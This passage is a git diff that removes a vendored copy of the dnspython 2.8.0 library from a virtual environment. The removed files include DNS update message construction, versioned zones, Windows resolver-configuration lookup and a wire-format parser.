as a zone is required for the convenience - methods like ``add()``, ``replace()``, etc. - - *rdclass*, an ``int`` or ``str``, the class of the zone. - - The *keyring*, *keyname*, and *keyalgorithm* parameters are passed to - ``use_tsig()``; see its documentation for details. - """ - super().__init__(id=id) - self.flags |= dns.opcode.to_flags(dns.opcode.UPDATE) - if isinstance(zone, str): - zone = dns.name.from_text(zone) - self.origin = zone - rdclass = dns.rdataclass.RdataClass.make(rdclass) - self.zone_rdclass = rdclass - if self.origin: - self.find_rrset( - self.zone, - self.origin, - rdclass, - dns.rdatatype.SOA, - create=True, - force_unique=True, - ) - if keyring is not None: - self.use_tsig(keyring, keyname, algorithm=keyalgorithm) - - @property - def zone(self) -> List[dns.rrset.RRset]: - """The zone section.""" - return self.sections[0] - - @zone.setter - def zone(self, v): - self.sections[0] = v - - @property - def prerequisite(self) -> List[dns.rrset.RRset]: - """The prerequisite section.""" - return self.sections[1] - - @prerequisite.setter - def prerequisite(self, v): - self.sections[1] = v - - @property - def update(self) -> List[dns.rrset.RRset]: - """The update section.""" - return self.sections[2] - - @update.setter - def update(self, v): - self.sections[2] = v - - def _add_rr(self, name, ttl, rd, deleting=None, section=None): - """Add a single RR to the update section.""" - - if section is None: - section = self.update - covers = rd.covers() - rrset = self.find_rrset( - section, name, self.zone_rdclass, rd.rdtype, covers, deleting, True, True - ) - rrset.add(rd, ttl) - - def _add(self, replace, section, name, *args): - """Add records. - - *replace* is the replacement mode. If ``False``, - RRs are added to an existing RRset; if ``True``, the RRset - is replaced with the specified contents. The second - argument is the section to add to. The third argument - is always a name. The other arguments can be: - - - rdataset... - - - ttl, rdata... - - - ttl, rdtype, string... - """ - - if isinstance(name, str): - name = dns.name.from_text(name, None) - if isinstance(args[0], dns.rdataset.Rdataset): - for rds in args: - if replace: - self.delete(name, rds.rdtype) - for rd in rds: - self._add_rr(name, rds.ttl, rd, section=section) - else: - args = list(args) - ttl = int(args.pop(0)) - if isinstance(args[0], dns.rdata.Rdata): - if replace: - self.delete(name, args[0].rdtype) - for rd in args: - self._add_rr(name, ttl, rd, section=section) - else: - rdtype = dns.rdatatype.RdataType.make(args.pop(0)) - if replace: - self.delete(name, rdtype) - for s in args: - rd = dns.rdata.from_text(self.zone_rdclass, rdtype, s, self.origin) - self._add_rr(name, ttl, rd, section=section) - - def add(self, name: dns.name.Name | str, *args: Any) -> None: - """Add records. - - The first argument is always a name. The other - arguments can be: - - - rdataset... - - - ttl, rdata... - - - ttl, rdtype, string... - """ - - self._add(False, self.update, name, *args) - - def delete(self, name: dns.name.Name | str, *args: Any) -> None: - """Delete records. - - The first argument is always a name. The other - arguments can be: - - - *empty* - - - rdataset... - - - rdata... - - - rdtype, [string...] - """ - - if isinstance(name, str): - name = dns.name.from_text(name, None) - if len(args) == 0: - self.find_rrset( - self.update, - name, - dns.rdataclass.ANY, - dns.rdatatype.ANY, - dns.rdatatype.NONE, - dns.rdataclass.ANY, - True, - True, - ) - elif isinstance(args[0], dns.rdataset.Rdataset): - for rds in args: - for rd in rds: - self._add_rr(name, 0, rd, dns.rdataclass.NONE) - else: - largs = list(args) - if isinstance(largs[0], dns.rdata.Rdata): - for rd in largs: - self._add_rr(name, 0, rd, dns.rdataclass.NONE) - else: - rdtype = dns.rdatatype.RdataType.make(largs.pop(0)) - if len(largs) == 0: - self.find_rrset( - self.update, - name, - self.zone_rdclass, - rdtype, - dns.rdatatype.NONE, - dns.rdataclass.ANY, - True, - True, - ) - else: - for s in largs: - rd = dns.rdata.from_text( - self.zone_rdclass, - rdtype, - s, # type: ignore[arg-type] - self.origin, - ) - self._add_rr(name, 0, rd, dns.rdataclass.NONE) - - def replace(self, name: dns.name.Name | str, *args: Any) -> None: - """Replace records. - - The first argument is always a name. The other - arguments can be: - - - rdataset... - - - ttl, rdata... - - - ttl, rdtype, string... - - Note that if you want to replace the entire node, you should do - a delete of the name followed by one or more calls to add. - """ - - self._add(True, self.update, name, *args) - - def present(self, name: dns.name.Name | str, *args: Any) -> None: - """Require that an owner name (and optionally an rdata type, - or specific rdataset) exists as a prerequisite to the - execution of the update. - - The first argument is always a name. - The other arguments can be: - - - rdataset... - - - rdata... - - - rdtype, string... - """ - - if isinstance(name, str): - name = dns.name.from_text(name, None) - if len(args) == 0: - self.find_rrset( - self.prerequisite, - name, - dns.rdataclass.ANY, - dns.rdatatype.ANY, - dns.rdatatype.NONE, - None, - True, - True, - ) - elif ( - isinstance(args[0], dns.rdataset.Rdataset) - or isinstance(args[0], dns.rdata.Rdata) - or len(args) > 1 - ): - if not isinstance(args[0], dns.rdataset.Rdataset): - # Add a 0 TTL - largs = list(args) - largs.insert(0, 0) # type: ignore[arg-type] - self._add(False, self.prerequisite, name, *largs) - else: - self._add(False, self.prerequisite, name, *args) - else: - rdtype = dns.rdatatype.RdataType.make(args[0]) - self.find_rrset( - self.prerequisite, - name, - dns.rdataclass.ANY, - rdtype, - dns.rdatatype.NONE, - None, - True, - True, - ) - - def absent( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str | None = None, - ) -> None: - """Require that an owner name (and optionally an rdata type) does - not exist as a prerequisite to the execution of the update.""" - - if isinstance(name, str): - name = dns.name.from_text(name, None) - if rdtype is None: - self.find_rrset( - self.prerequisite, - name, - dns.rdataclass.NONE, - dns.rdatatype.ANY, - dns.rdatatype.NONE, - None, - True, - True, - ) - else: - rdtype = dns.rdatatype.RdataType.make(rdtype) - self.find_rrset( - self.prerequisite, - name, - dns.rdataclass.NONE, - rdtype, - dns.rdatatype.NONE, - None, - True, - True, - ) - - def _get_one_rr_per_rrset(self, value): - # Updates are always one_rr_per_rrset - return True - - def _parse_rr_header(self, section, name, rdclass, rdtype): # pyright: ignore - deleting = None - empty = False - if section == UpdateSection.ZONE: - if ( - dns.rdataclass.is_metaclass(rdclass) - or rdtype != dns.rdatatype.SOA - or self.zone - ): - raise dns.exception.FormError - else: - if not self.zone: - raise dns.exception.FormError - if rdclass in (dns.rdataclass.ANY, dns.rdataclass.NONE): - deleting = rdclass - rdclass = self.zone[0].rdclass - empty = ( - deleting == dns.rdataclass.ANY or section == UpdateSection.PREREQ - ) - return (rdclass, rdtype, deleting, empty) - - -# backwards compatibility -Update = UpdateMessage - -### BEGIN generated UpdateSection constants - -ZONE = UpdateSection.ZONE -PREREQ = UpdateSection.PREREQ -UPDATE = UpdateSection.UPDATE -ADDITIONAL = UpdateSection.ADDITIONAL - -### END generated UpdateSection constants diff --git a/venv/Lib/site-packages/dns/version.py b/venv/Lib/site-packages/dns/version.py deleted file mode 100644 index e11dd29c2da3421db92d391a8ba313b55d4479b9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/version.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""dnspython release version information.""" - -#: MAJOR -MAJOR = 2 -#: MINOR -MINOR = 8 -#: MICRO -MICRO = 0 -#: RELEASELEVEL -RELEASELEVEL = 0x0F -#: SERIAL -SERIAL = 0 - -if RELEASELEVEL == 0x0F: # pragma: no cover lgtm[py/unreachable-statement] - #: version - version = f"{MAJOR}.{MINOR}.{MICRO}" # lgtm[py/unreachable-statement] -elif RELEASELEVEL == 0x00: # pragma: no cover lgtm[py/unreachable-statement] - version = f"{MAJOR}.{MINOR}.{MICRO}dev{SERIAL}" # lgtm[py/unreachable-statement] -elif RELEASELEVEL == 0x0C: # pragma: no cover lgtm[py/unreachable-statement] - version = f"{MAJOR}.{MINOR}.{MICRO}rc{SERIAL}" # lgtm[py/unreachable-statement] -else: # pragma: no cover lgtm[py/unreachable-statement] - version = f"{MAJOR}.{MINOR}.{MICRO}{RELEASELEVEL:x}{SERIAL}" # lgtm[py/unreachable-statement] - -#: hexversion -hexversion = MAJOR << 24 | MINOR << 16 | MICRO << 8 | RELEASELEVEL << 4 | SERIAL diff --git a/venv/Lib/site-packages/dns/versioned.py b/venv/Lib/site-packages/dns/versioned.py deleted file mode 100644 index 3644711eb49eeed50ca9d0ec51a72f59eff5c31b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/versioned.py +++ /dev/null @@ -1,320 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -"""DNS Versioned Zones.""" - -import collections -import threading -from typing import Callable, Deque, Set, cast - -import dns.exception -import dns.name -import dns.node -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.rdtypes.ANY.SOA -import dns.zone - - -class UseTransaction(dns.exception.DNSException): - """To alter a versioned zone, use a transaction.""" - - -# Backwards compatibility -Node = dns.zone.VersionedNode -ImmutableNode = dns.zone.ImmutableVersionedNode -Version = dns.zone.Version -WritableVersion = dns.zone.WritableVersion -ImmutableVersion = dns.zone.ImmutableVersion -Transaction = dns.zone.Transaction - - -class Zone(dns.zone.Zone): # lgtm[py/missing-equals] - __slots__ = [ - "_versions", - "_versions_lock", - "_write_txn", - "_write_waiters", - "_write_event", - "_pruning_policy", - "_readers", - ] - - node_factory: Callable[[], dns.node.Node] = Node - - def __init__( - self, - origin: dns.name.Name | str | None, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - relativize: bool = True, - pruning_policy: Callable[["Zone", Version], bool | None] | None = None, - ): - """Initialize a versioned zone object. - - *origin* is the origin of the zone. It may be a ``dns.name.Name``, - a ``str``, or ``None``. If ``None``, then the zone's origin will - be set by the first ``$ORIGIN`` line in a zone file. - - *rdclass*, an ``int``, the zone's rdata class; the default is class IN. - - *relativize*, a ``bool``, determine's whether domain names are - relativized to the zone's origin. The default is ``True``. - - *pruning policy*, a function taking a ``Zone`` and a ``Version`` and returning - a ``bool``, or ``None``. Should the version be pruned? If ``None``, - the default policy, which retains one version is used. - """ - super().__init__(origin, rdclass, relativize) - self._versions: Deque[Version] = collections.deque() - self._version_lock = threading.Lock() - if pruning_policy is None: - self._pruning_policy = self._default_pruning_policy - else: - self._pruning_policy = pruning_policy - self._write_txn: Transaction | None = None - self._write_event: threading.Event | None = None - self._write_waiters: Deque[threading.Event] = collections.deque() - self._readers: Set[Transaction] = set() - self._commit_version_unlocked( - None, WritableVersion(self, replacement=True), origin - ) - - def reader( - self, id: int | None = None, serial: int | None = None - ) -> Transaction: # pylint: disable=arguments-differ - if id is not None and serial is not None: - raise ValueError("cannot specify both id and serial") - with self._version_lock: - if id is not None: - version = None - for v in reversed(self._versions): - if v.id == id: - version = v - break - if version is None: - raise KeyError("version not found") - elif serial is not None: - if self.relativize: - oname = dns.name.empty - else: - assert self.origin is not None - oname = self.origin - version = None - for v in reversed(self._versions): - n = v.nodes.get(oname) - if n: - rds = n.get_rdataset(self.rdclass, dns.rdatatype.SOA) - if rds is None: - continue - soa = cast(dns.rdtypes.ANY.SOA.SOA, rds[0]) - if rds and soa.serial == serial: - version = v - break - if version is None: - raise KeyError("serial not found") - else: - version = self._versions[-1] - txn = Transaction(self, False, version) - self._readers.add(txn) - return txn - - def writer(self, replacement: bool = False) -> Transaction: - event = None - while True: - with self._version_lock: - # Checking event == self._write_event ensures that either - # no one was waiting before we got lucky and found no write - # txn, or we were the one who was waiting and got woken up. - # This prevents "taking cuts" when creating a write txn. - if self._write_txn is None and event == self._write_event: - # Creating the transaction defers version setup - # (i.e. copying the nodes dictionary) until we - # give up the lock, so that we hold the lock as - # short a time as possible. This is why we call - # _setup_version() below. - self._write_txn = Transaction( - self, replacement, make_immutable=True - ) - # give up our exclusive right to make a Transaction - self._write_event = None - break - # Someone else is writing already, so we will have to - # wait, but we want to do the actual wait outside the - # lock. - event = threading.Event() - self._write_waiters.append(event) - # wait (note we gave up the lock!) - # - # We only wake one sleeper at a time, so it's important - # that no event waiter can exit this method (e.g. via - # cancellation) without returning a transaction or waking - # someone else up. - # - # This is not a problem with Threading module threads as - # they cannot be canceled, but could be an issue with trio - # tasks when we do the async version of writer(). - # I.e. we'd need to do something like: - # - # try: - # event.wait() - # except trio.Cancelled: - # with self._version_lock: - # self._maybe_wakeup_one_waiter_unlocked() - # raise - # - event.wait() - # Do the deferred version setup. - self._write_txn._setup_version() - return self._write_txn - - def _maybe_wakeup_one_waiter_unlocked(self): - if len(self._write_waiters) > 0: - self._write_event = self._write_waiters.popleft() - self._write_event.set() - - # pylint: disable=unused-argument - def _default_pruning_policy(self, zone, version): - return True - - # pylint: enable=unused-argument - - def _prune_versions_unlocked(self): - assert len(self._versions) > 0 - # Don't ever prune a version greater than or equal to one that - # a reader has open. This pins versions in memory while the - # reader is open, and importantly lets the reader open a txn on - # a successor version (e.g. if generating an IXFR). - # - # Note our definition of least_kept also ensures we do not try to - # delete the greatest version. - if len(self._readers) > 0: - least_kept = min(txn.version.id for txn in self._readers) # pyright: ignore - else: - least_kept = self._versions[-1].id - while self._versions[0].id < least_kept and self._pruning_policy( - self, self._versions[0] - ): - self._versions.popleft() - - def set_max_versions(self, max_versions: int | None) -> None: - """Set a pruning policy that retains up to the specified number - of versions - """ - if max_versions is not None and max_versions < 1: - raise ValueError("max versions must be at least 1") - if max_versions is None: - # pylint: disable=unused-argument - def policy(zone, _): # pyright: ignore - return False - - else: - - def policy(zone, _): - return len(zone._versions) > max_versions - - self.set_pruning_policy(policy) - - def set_pruning_policy( - self, policy: Callable[["Zone", Version], bool | None] | None - ) -> None: - """Set the pruning policy for the zone. - - The *policy* function takes a `Version` and returns `True` if - the version should be pruned, and `False` otherwise. `None` - may also be specified for policy, in which case the default policy - is used. - - Pruning checking proceeds from the least version and the first - time the function returns `False`, the checking stops. I.e. the - retained versions are always a consecutive sequence. - """ - if policy is None: - policy = self._default_pruning_policy - with self._version_lock: - self._pruning_policy = policy - self._prune_versions_unlocked() - - def _end_read(self, txn): - with self._version_lock: - self._readers.remove(txn) - self._prune_versions_unlocked() - - def _end_write_unlocked(self, txn): - assert self._write_txn == txn - self._write_txn = None - self._maybe_wakeup_one_waiter_unlocked() - - def _end_write(self, txn): - with self._version_lock: - self._end_write_unlocked(txn) - - def _commit_version_unlocked(self, txn, version, origin): - self._versions.append(version) - self._prune_versions_unlocked() - self.nodes = version.nodes - if self.origin is None: - self.origin = origin - # txn can be None in __init__ when we make the empty version. - if txn is not None: - self._end_write_unlocked(txn) - - def _commit_version(self, txn, version, origin): - with self._version_lock: - self._commit_version_unlocked(txn, version, origin) - - def _get_next_version_id(self): - if len(self._versions) > 0: - id = self._versions[-1].id + 1 - else: - id = 1 - return id - - def find_node( - self, name: dns.name.Name | str, create: bool = False - ) -> dns.node.Node: - if create: - raise UseTransaction - return super().find_node(name) - - def delete_node(self, name: dns.name.Name | str) -> None: - raise UseTransaction - - def find_rdataset( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset: - if create: - raise UseTransaction - rdataset = super().find_rdataset(name, rdtype, covers) - return dns.rdataset.ImmutableRdataset(rdataset) - - def get_rdataset( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset | None: - if create: - raise UseTransaction - rdataset = super().get_rdataset(name, rdtype, covers) - if rdataset is not None: - return dns.rdataset.ImmutableRdataset(rdataset) - else: - return None - - def delete_rdataset( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - ) -> None: - raise UseTransaction - - def replace_rdataset( - self, name: dns.name.Name | str, replacement: dns.rdataset.Rdataset - ) -> None: - raise UseTransaction diff --git a/venv/Lib/site-packages/dns/win32util.py b/venv/Lib/site-packages/dns/win32util.py deleted file mode 100644 index 2d77b4cb65c711f4bcdbca13fc0ba275ef26007d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/win32util.py +++ /dev/null @@ -1,438 +0,0 @@ -import sys - -import dns._features - -# pylint: disable=W0612,W0613,C0301 - -if sys.platform == "win32": - import ctypes - import ctypes.wintypes as wintypes - import winreg # pylint: disable=import-error - from enum import IntEnum - - import dns.name - - # Keep pylint quiet on non-windows. - try: - _ = WindowsError # pylint: disable=used-before-assignment - except NameError: - WindowsError = Exception - - class ConfigMethod(IntEnum): - Registry = 1 - WMI = 2 - Win32 = 3 - - class DnsInfo: - def __init__(self): - self.domain = None - self.nameservers = [] - self.search = [] - - _config_method = ConfigMethod.Registry - - if dns._features.have("wmi"): - import threading - - import pythoncom # pylint: disable=import-error - import wmi # pylint: disable=import-error - - # Prefer WMI by default if wmi is installed. - _config_method = ConfigMethod.WMI - - class _WMIGetter(threading.Thread): - # pylint: disable=possibly-used-before-assignment - def __init__(self): - super().__init__() - self.info = DnsInfo() - - def run(self): - pythoncom.CoInitialize() - try: - system = wmi.WMI() - for interface in system.Win32_NetworkAdapterConfiguration(): - if interface.IPEnabled and interface.DNSServerSearchOrder: - self.info.nameservers = list(interface.DNSServerSearchOrder) - if interface.DNSDomain: - self.info.domain = _config_domain(interface.DNSDomain) - if interface.DNSDomainSuffixSearchOrder: - self.info.search = [ - _config_domain(x) - for x in interface.DNSDomainSuffixSearchOrder - ] - break - finally: - pythoncom.CoUninitialize() - - def get(self): - # We always run in a separate thread to avoid any issues with - # the COM threading model. - self.start() - self.join() - return self.info - - else: - - class _WMIGetter: # type: ignore - pass - - def _config_domain(domain): - # Sometimes DHCP servers add a '.' prefix to the default domain, and - # Windows just stores such values in the registry (see #687). - # Check for this and fix it. - if domain.startswith("."): - domain = domain[1:] - return dns.name.from_text(domain) - - class _RegistryGetter: - def __init__(self): - self.info = DnsInfo() - - def _split(self, text): - # The windows registry has used both " " and "," as a delimiter, and while - # it is currently using "," in Windows 10 and later, updates can seemingly - # leave a space in too, e.g. "a, b". So we just convert all commas to - # spaces, and use split() in its default configuration, which splits on - # all whitespace and ignores empty strings. - return text.replace(",", " ").split() - - def _config_nameservers(self, nameservers): - for ns in self._split(nameservers): - if ns not in self.info.nameservers: - self.info.nameservers.append(ns) - - def _config_search(self, search): - for s in self._split(search): - s = _config_domain(s) - if s not in self.info.search: - self.info.search.append(s) - - def _config_fromkey(self, key, always_try_domain): - try: - servers, _ = winreg.QueryValueEx(key, "NameServer") - except WindowsError: - servers = None - if servers: - self._config_nameservers(servers) - if servers or always_try_domain: - try: - dom, _ = winreg.QueryValueEx(key, "Domain") - if dom: - self.info.domain = _config_domain(dom) - except WindowsError: - pass - else: - try: - servers, _ = winreg.QueryValueEx(key, "DhcpNameServer") - except WindowsError: - servers = None - if servers: - self._config_nameservers(servers) - try: - dom, _ = winreg.QueryValueEx(key, "DhcpDomain") - if dom: - self.info.domain = _config_domain(dom) - except WindowsError: - pass - try: - search, _ = winreg.QueryValueEx(key, "SearchList") - except WindowsError: - search = None - if search is None: - try: - search, _ = winreg.QueryValueEx(key, "DhcpSearchList") - except WindowsError: - search = None - if search: - self._config_search(search) - - def _is_nic_enabled(self, lm, guid): - # Look in the Windows Registry to determine whether the network - # interface corresponding to the given guid is enabled. - # - # (Code contributed by Paul Marks, thanks!) - # - try: - # This hard-coded location seems to be consistent, at least - # from Windows 2000 through Vista. - connection_key = winreg.OpenKey( - lm, - r"SYSTEM\CurrentControlSet\Control\Network" - r"\{4D36E972-E325-11CE-BFC1-08002BE10318}" - rf"\{guid}\Connection", - ) - - try: - # The PnpInstanceID points to a key inside Enum - (pnp_id, ttype) = winreg.QueryValueEx( - connection_key, "PnpInstanceID" - ) - - if ttype != winreg.REG_SZ: - raise ValueError # pragma: no cover - - device_key = winreg.OpenKey( - lm, rf"SYSTEM\CurrentControlSet\Enum\{pnp_id}" - ) - - try: - # Get ConfigFlags for this device - (flags, ttype) = winreg.QueryValueEx(device_key, "ConfigFlags") - - if ttype != winreg.REG_DWORD: - raise ValueError # pragma: no cover - - # Based on experimentation, bit 0x1 indicates that the - # device is disabled. - # - # XXXRTH I suspect we really want to & with 0x03 so - # that CONFIGFLAGS_REMOVED devices are also ignored, - # but we're shifting to WMI as ConfigFlags is not - # supposed to be used. - return not flags & 0x1 - - finally: - device_key.Close() - finally: - connection_key.Close() - except Exception: # pragma: no cover - return False - - def get(self): - """Extract resolver configuration from the Windows registry.""" - - lm = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) - try: - tcp_params = winreg.OpenKey( - lm, r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" - ) - try: - self._config_fromkey(tcp_params, True) - finally: - tcp_params.Close() - interfaces = winreg.OpenKey( - lm, - r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces", - ) - try: - i = 0 - while True: - try: - guid = winreg.EnumKey(interfaces, i) - i += 1 - key = winreg.OpenKey(interfaces, guid) - try: - if not self._is_nic_enabled(lm, guid): - continue - self._config_fromkey(key, False) - finally: - key.Close() - except OSError: - break - finally: - interfaces.Close() - finally: - lm.Close() - return self.info - - class _Win32Getter(_RegistryGetter): - - def get(self): - """Get the attributes using the Windows API.""" - # Load the IP Helper library - # # https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-getadaptersaddresses - IPHLPAPI = ctypes.WinDLL("Iphlpapi.dll") - - # Constants - AF_UNSPEC = 0 - ERROR_SUCCESS = 0 - GAA_FLAG_INCLUDE_PREFIX = 0x00000010 - AF_INET = 2 - AF_INET6 = 23 - IF_TYPE_SOFTWARE_LOOPBACK = 24 - - # Define necessary structures - class SOCKADDRV4(ctypes.Structure): - _fields_ = [ - ("sa_family", wintypes.USHORT), - ("sa_data", ctypes.c_ubyte * 14), - ] - - class SOCKADDRV6(ctypes.Structure): - _fields_ = [ - ("sa_family", wintypes.USHORT), - ("sa_data", ctypes.c_ubyte * 26), - ] - - class SOCKET_ADDRESS(ctypes.Structure): - _fields_ = [ - ("lpSockaddr", ctypes.POINTER(SOCKADDRV4)), - ("iSockaddrLength", wintypes.INT), - ] - - class IP_ADAPTER_DNS_SERVER_ADDRESS(ctypes.Structure): - pass # Forward declaration - - IP_ADAPTER_DNS_SERVER_ADDRESS._fields_ = [ - ("Length", wintypes.ULONG), - ("Reserved", wintypes.DWORD), - ("Next", ctypes.POINTER(IP_ADAPTER_DNS_SERVER_ADDRESS)), - ("Address", SOCKET_ADDRESS), - ] - - class IF_LUID(ctypes.Structure): - _fields_ = [("Value", ctypes.c_ulonglong)] - - class NET_IF_NETWORK_GUID(ctypes.Structure): - _fields_ = [("Value", ctypes.c_ubyte * 16)] - - class IP_ADAPTER_PREFIX_XP(ctypes.Structure): - pass # Left undefined here for simplicity - - class IP_ADAPTER_GATEWAY_ADDRESS_LH(ctypes.Structure): - pass # Left undefined here for simplicity - - class IP_ADAPTER_DNS_SUFFIX(ctypes.Structure): - _fields_ = [ - ("String", ctypes.c_wchar * 256), - ("Next", ctypes.POINTER(ctypes.c_void_p)), - ] - - class IP_ADAPTER_UNICAST_ADDRESS_LH(ctypes.Structure): - pass # Left undefined here for simplicity - - class IP_ADAPTER_MULTICAST_ADDRESS_XP(ctypes.Structure): - pass # Left undefined here for simplicity - - class IP_ADAPTER_ANYCAST_ADDRESS_XP(ctypes.Structure): - pass # Left undefined here for simplicity - - class IP_ADAPTER_DNS_SERVER_ADDRESS_XP(ctypes.Structure): - pass # Left undefined here for simplicity - - class IP_ADAPTER_ADDRESSES(ctypes.Structure): - pass # Forward declaration - - IP_ADAPTER_ADDRESSES._fields_ = [ - ("Length", wintypes.ULONG), - ("IfIndex", wintypes.DWORD), - ("Next", ctypes.POINTER(IP_ADAPTER_ADDRESSES)), - ("AdapterName", ctypes.c_char_p), - ("FirstUnicastAddress", ctypes.POINTER(SOCKET_ADDRESS)), - ("FirstAnycastAddress", ctypes.POINTER(SOCKET_ADDRESS)), - ("FirstMulticastAddress", ctypes.POINTER(SOCKET_ADDRESS)), - ( - "FirstDnsServerAddress", - ctypes.POINTER(IP_ADAPTER_DNS_SERVER_ADDRESS), - ), - ("DnsSuffix", wintypes.LPWSTR), - ("Description", wintypes.LPWSTR), - ("FriendlyName", wintypes.LPWSTR), - ("PhysicalAddress", ctypes.c_ubyte * 8), - ("PhysicalAddressLength", wintypes.ULONG), - ("Flags", wintypes.ULONG), - ("Mtu", wintypes.ULONG), - ("IfType", wintypes.ULONG), - ("OperStatus", ctypes.c_uint), - # Remaining fields removed for brevity - ] - - def format_ipv4(sockaddr_in): - return ".".join(map(str, sockaddr_in.sa_data[2:6])) - - def format_ipv6(sockaddr_in6): - # The sa_data is: - # - # USHORT sin6_port; - # ULONG sin6_flowinfo; - # IN6_ADDR sin6_addr; - # ULONG sin6_scope_id; - # - # which is 2 + 4 + 16 + 4 = 26 bytes, and we need the plus 6 below - # to be in the sin6_addr range. - parts = [ - sockaddr_in6.sa_data[i + 6] << 8 | sockaddr_in6.sa_data[i + 6 + 1] - for i in range(0, 16, 2) - ] - return ":".join(f"{part:04x}" for part in parts) - - buffer_size = ctypes.c_ulong(15000) - while True: - buffer = ctypes.create_string_buffer(buffer_size.value) - - ret_val = IPHLPAPI.GetAdaptersAddresses( - AF_UNSPEC, - GAA_FLAG_INCLUDE_PREFIX, - None, - buffer, - ctypes.byref(buffer_size), - ) - - if ret_val == ERROR_SUCCESS: - break - elif ret_val != 0x6F: # ERROR_BUFFER_OVERFLOW - print(f"Error retrieving adapter information: {ret_val}") - return - - adapter_addresses = ctypes.cast( - buffer, ctypes.POINTER(IP_ADAPTER_ADDRESSES) - ) - - current_adapter = adapter_addresses - while current_adapter: - - # Skip non-operational adapters. - oper_status = current_adapter.contents.OperStatus - if oper_status != 1: - current_adapter = current_adapter.contents.Next - continue - - # Exclude loopback adapters. - if current_adapter.contents.IfType == IF_TYPE_SOFTWARE_LOOPBACK: - current_adapter = current_adapter.contents.Next - continue - - # Get the domain from the DnsSuffix attribute. - dns_suffix = current_adapter.contents.DnsSuffix - if dns_suffix: - self.info.domain = dns.name.from_text(dns_suffix) - - current_dns_server = current_adapter.contents.FirstDnsServerAddress - while current_dns_server: - sockaddr = current_dns_server.contents.Address.lpSockaddr - sockaddr_family = sockaddr.contents.sa_family - - ip = None - if sockaddr_family == AF_INET: # IPv4 - ip = format_ipv4(sockaddr.contents) - elif sockaddr_family == AF_INET6: # IPv6 - sockaddr = ctypes.cast(sockaddr, ctypes.POINTER(SOCKADDRV6)) - ip = format_ipv6(sockaddr.contents) - - if ip: - if ip not in self.info.nameservers: - self.info.nameservers.append(ip) - - current_dns_server = current_dns_server.contents.Next - - current_adapter = current_adapter.contents.Next - - # Use the registry getter to get the search info, since it is set at the system level. - registry_getter = _RegistryGetter() - info = registry_getter.get() - self.info.search = info.search - return self.info - - def set_config_method(method: ConfigMethod) -> None: - global _config_method - _config_method = method - - def get_dns_info() -> DnsInfo: - """Extract resolver configuration.""" - if _config_method == ConfigMethod.Win32: - getter = _Win32Getter() - elif _config_method == ConfigMethod.WMI: - getter = _WMIGetter() - else: - getter = _RegistryGetter() - return getter.get() diff --git a/venv/Lib/site-packages/dns/wire.py b/venv/Lib/site-packages/dns/wire.py deleted file mode 100644 index cd027fa16a0f2592244b55014139f1970855ac47..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/wire.py +++ /dev/null @@ -1,98 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import contextlib -import struct -from typing import Iterator, Optional, Tuple - -import dns.exception -import dns.name - - -class Parser: - """Helper class for parsing DNS wire format.""" - - def __init__(self, wire: bytes, current: int = 0): - """Initialize a Parser - - *wire*, a ``bytes`` contains the data to be parsed, and possibly other data. - Typically it is the whole message or a slice of it. - - *current*, an `int`, the offset within *wire* where parsing should begin. - """ - self.wire = wire - self.current = 0 - self.end = len(self.wire) - if current: - self.seek(current) - self.furthest = current - - def remaining(self) -> int: - return self.end - self.current - - def get_bytes(self, size: int) -> bytes: - assert size >= 0 - if size > self.remaining(): - raise dns.exception.FormError - output = self.wire[self.current : self.current + size] - self.current += size - self.furthest = max(self.furthest, self.current) - return output - - def get_counted_bytes(self, length_size: int = 1) -> bytes: - length = int.from_bytes(self.get_bytes(length_size), "big") - return self.get_bytes(length) - - def get_remaining(self) -> bytes: - return self.get_bytes(self.remaining()) - - def get_uint8(self) -> int: - return struct.unpack("!B", self.get_bytes(1))[0] - - def get_uint16(self) -> int: - return struct.unpack("!H", self.get_bytes(2))[0] - - def get_uint32(self) -> int: - return struct.unpack("!I", self.get_bytes(4))[0] - - def get_uint48(self) -> int: - return int.from_bytes(self.get_bytes(6), "big") - - def get_struct(self, format: str) -> Tuple: - return struct.unpack(format, self.get_bytes(struct.calcsize(format))) - - def get_name(self, origin: Optional["dns.name.Name"] = None) -> "dns.name.Name": - name = dns.name.from_wire_parser(self) - if origin: - name = name.relativize(origin) - return name - - def seek(self, where: int) -> None: - # Note that seeking to the end is OK! (If you try to read - # after such a seek, you'll get an exception as expected.) 